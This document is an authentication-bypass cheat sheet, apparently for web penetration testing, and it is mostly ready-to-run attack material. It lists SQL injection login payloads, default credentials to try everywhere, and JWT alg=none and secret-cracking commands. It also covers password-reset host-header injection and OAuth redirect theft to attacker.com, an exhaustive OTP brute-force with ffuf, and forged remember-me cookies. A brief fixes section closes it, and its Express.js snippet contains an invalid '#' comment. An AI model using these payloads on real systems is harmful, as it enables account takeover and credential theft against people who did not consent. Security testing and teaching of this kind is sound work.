# Vulnerable query — developer concatenates input directly:
query = "SELECT * FROM users WHERE username='" + user + "' AND password='" + pwd + "'"

# Attacker sends: username = admin'--
# Query becomes:
SELECT * FROM users WHERE username='admin'--' AND password='anything'
#                                         ^^ comments out the password check

# Result: logs in as admin without any password
# Fix: use parameterized queries / prepared statements

# Test 1 — classic bypass
username=' OR 1=1--&password=anything

# Test 2 — target admin specifically
username=admin'--&password=anything

# Test 3 — JSON-based login
{"username": "admin'--", "password": "anything"}

# Test 4 — both fields
username=' OR '1'='1&password=' OR '1'='1

# Success indicators:
HTTP/1.1 200 OK + Set-Cookie: session=xxxx
HTTP/1.1 302 → /dashboard
Response body contains username/email of user

# Universal defaults — try ALL:
admin:admin       admin:password      admin:admin123
admin:123456      root:root           root:toor
administrator:administrator          test:test
guest:guest       demo:demo           user:user

# Platform-specific defaults:
Jenkins:    admin:admin
Tomcat:     tomcat:tomcat | admin:s3cret
Grafana:    admin:admin
WordPress:  admin:admin
phpMyAdmin: root:(blank password)
Jira:       admin:admin

# Original response (wrong password):
HTTP/1.1 401 Unauthorized
{"success": false, "authenticated": false}

# Modified before forwarding:
HTTP/1.1 200 OK
{"success": true, "authenticated": true}

# Forward → if dashboard loads = frontend-only auth confirmed
# Then test if backend API calls also work = full bypass

# Step 1: Decode JWT (find in Authorization header or Cookie)
python3 jwt_tool.py YOUR_TOKEN
# Or: echo "payload" | base64 -d

# Typical payload:
{"user_id": 1001, "role": "user", "exp": 9999999999}

# Attack 1: alg=none (no signature required)
python3 jwt_tool.py TOKEN -X a

# Attack 2: Tamper role claim interactively
python3 jwt_tool.py TOKEN -T
# Change: role: "user" → role: "admin"

# Attack 3: Crack weak HMAC secret
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Test 1: Get session token from reset without clicking email link
POST /api/password/reset
{"email": "victim@target.com"}
# Does response include session token? → CRITICAL

# Test 2: Use your reset token for another user's account
POST /api/password/reset/confirm
{"token": "YOUR_VALID_TOKEN", "user_id": 1002, "new_password": "hacked"}

# Test 3: Host header injection → steal reset link
POST /api/password/reset
Host: attacker.com
{"email": "victim@target.com"}
# Victim's reset email links to attacker.com

# Bypass 1: Skip MFA step — hit post-MFA endpoint directly
# After password: instead of POST /mfa/verify
GET /dashboard  ← try going here directly

# Bypass 2: Response manipulation at MFA step
{"mfa_required": true}  →  change to  →  {"mfa_required": false}

# Bypass 3: Brute-force 6-digit OTP (if no rate limit)
ffuf -u https://target.com/mfa/verify \
     -X POST \
     -d '{"otp":"FUZZ"}' \
     -w <(seq -w 000000 999999) \
     -mc 200

# Bypass 4: Null / empty OTP value
{"otp": null}  |  {"otp": ""}  |  {"otp": 0}

# Normal OAuth flow includes state validation:
GET /oauth/authorize?client_id=xxx&state=RANDOM_VALUE
GET /callback?code=AUTH_CODE&state=RANDOM_VALUE  ← verified

# Attack: if state not verified → CSRF possible
# Force victim to visit your crafted link
# Their OAuth account links to attacker's app session
# Attacker authenticates via Google as victim

# Attack: open redirect in redirect_uri
GET /oauth/authorize?redirect_uri=https://attacker.com/steal
# Auth code sent to attacker → exchange for token → full access

# Normal flow:
Step 1: POST /auth/step1  {username, password}
Step 2: POST /auth/step2  {mfa_code}
Step 3: GET  /auth/complete  → session created

# Bypass: skip step 1 and 2, call step 3 directly
GET /auth/complete  ← no prior token needed?

# Or: manipulate step indicator in body
POST /auth
{"username": "admin", "password": "test", "step": 3, "mfa_verified": true}

# Check remember-me cookie value in browser DevTools
remember_me=dXNlcjoxMDAxOjE3MDAwMDAwMDA=

# Decode:
echo 'dXNlcjoxMDAxOjE3MDAwMDAwMDA=' | base64 -d
# Output: user:1001:1700000000

# Forge for another user:
echo -n 'user:1002:1700000000' | base64
# Output: dXNlcjoxMDAyOjE3MDAwMDAwMDA=

# Set forged cookie in browser → refresh → logged in as user 1002?
# Unencrypted remember-me token = Authentication Bypass

# SQL — use parameterized query (NEVER concatenate)
# WRONG:
query = "SELECT * FROM users WHERE user='" + user + "'"
# CORRECT:
cursor.execute("SELECT * FROM users WHERE user=?", (user,))

# JWT — always verify signature, reject alg=none
jwt.decode(token, secret,
           algorithms=["HS256"],  # whitelist ONLY
           options={"verify_signature": True})

# Rate limiting on login (Express.js)
const rateLimit = require('express-rate-limit')
app.use('/login', rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 5,  # 5 attempts per 15 minutes
    message: 'Too many attempts'
}))